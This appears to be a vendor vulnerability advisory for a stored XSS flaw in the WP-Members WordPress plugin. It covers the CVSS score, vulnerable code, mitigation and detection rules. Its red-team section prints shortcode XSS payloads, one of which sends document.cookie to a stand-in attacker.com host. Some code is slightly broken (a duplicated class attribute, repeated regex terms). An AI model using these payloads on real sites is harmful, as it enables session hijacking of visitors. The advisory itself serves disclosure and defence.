CVE-2025-4610
Executive Summary
CVE-2025-4610 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Members Membership Plugin for WordPress, affecting all versions up to and including 3.5.2. The flaw resides in the wpmem_user_memberships shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly into WordPress sites, making the supply chain risk limited to the plugin’s update mechanism. Since no patch is currently available, users must rely on manual mitigation or disabling the shortcode.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for authenticated access, but the potential for widespread script injection in a WordPress context elevates the risk for sites with multiple contributors.
Deep Dive & Mechanics
The vulnerability is triggered by the wpmem_user_memberships shortcode, which renders user membership data. The shortcode accepts attributes (e.g., [wpmem_user_memberships attribute="value"]) that are not properly sanitized or escaped before being output in the HTML. An attacker with contributor-level access can craft a post or page containing the shortcode with malicious JavaScript in an attribute, such as:
[wpmem_user_memberships onerror="alert('XSS')"]
When the shortcode is processed, the onerror attribute is injected into the DOM without escaping, causing the script to execute in the context of the victim’s browser. The stored nature means the payload persists in the database and executes for every visitor.
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.5.2): The shortcode handler directly outputs user-supplied attributes without escaping:
function wpmem_user_memberships_shortcode( $atts ) {
$output = '<div class="wpmem-memberships" ' . $atts['class'] . '>';
// ... rest of the code
return $output;
}
Patched Code (Hypothetical):
A proper fix would use esc_attr() or wp_kses() to sanitize attributes:
function wpmem_user_memberships_shortcode( $atts ) {
$class = isset( $atts['class'] ) ? esc_attr( $atts['class'] ) : '';
$output = '<div class="wpmem-memberships" class="' . $class . '">';
// ... rest of the code
return $output;
}
Since no official patch exists, this is a recommended mitigation.
Exploitation & Lab Setup
Red Team
- Prerequisites: Authenticated WordPress account with contributor-level or higher privileges.
- Craft Payload: Create a new post or page and insert the shortcode with a malicious attribute:
[wpmem_user_memberships onmouseover="alert(document.cookie)"] - Trigger: Any user visiting the page will see the alert (or execute arbitrary JavaScript).
- Advanced Payload: Steal session cookies:
[wpmem_user_memberships onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team
- Detection: Monitor for posts/pages containing the
wpmem_user_membershipsshortcode with suspicious attributes. - Prevention: Disable the shortcode via functions.php:
remove_shortcode('wpmem_user_memberships'); - Harden: Ensure all WordPress users have minimal necessary privileges. Audit contributor accounts.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/wp-members/includes/class-wp-members-shortcodes.php(vulnerable file) - Database: Posts/pages containing
[wpmem_user_membershipswith non-standard attributes (e.g.,onerror,onload,onmouseover) - Network: Outbound requests to attacker-controlled domains from WordPress admin or frontend
- Logs: WordPress debug log entries showing unexpected shortcode attribute values
Detection Engineering
YARA Rule
rule CVE_2025_4610_WP_Members_XSS {
meta:
description = "Detects malicious shortcode usage in WP-Members plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-4610"
strings:
$shortcode = /\[wpmem_user_memberships\s+[^\]]*?(onerror|onload|onmouseover|onclick|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onabort|onbeforeunload|onerror|onhashchange|onpagehide|onpageshow|onpopstate|onresize|onscroll|onstorage|onundo|onunload)\s*=/i
condition:
$shortcode
}
Sigma Rule
title: CVE-2025-4610 WP-Members Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via wpmem_user_memberships shortcode in WordPress
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'wpmem_user_memberships'
http.url|re: 'onerror|onload|onmouseover|onclick|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onabort|onbeforeunload|onerror|onhashchange|onpagehide|onpageshow|onpopstate|onresize|onscroll|onstorage|onundo|onunload'
condition: selection
falsepositives:
- Legitimate use of shortcode with safe attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4610 WP-Members Stored XSS Attempt"; flow:to_server,established; content:"wpmem_user_memberships"; http_uri; pcre:"/(onerror|onload|onmouseover|onclick|onfocus|onblur|onchange|onsubmit|onreset|onselect|onkeydown|onkeypress|onkeyup|onabort|onbeforeunload|onerror|onhashchange|onpagehide|onpageshow|onpopstate|onresize|onscroll|onstorage|onundo|onunload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the
wpmem_user_membershipsshortcode by adding tofunctions.php:remove_shortcode('wpmem_user_memberships'); - Short-term: Restrict contributor-level accounts and audit existing posts for malicious shortcode usage.
- Long-term: Monitor the WP-Members plugin repository for an official patch. When available, update to the patched version immediately.
- Alternative: Use a Web Application Firewall (WAF) to block requests containing the shortcode with suspicious attributes.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.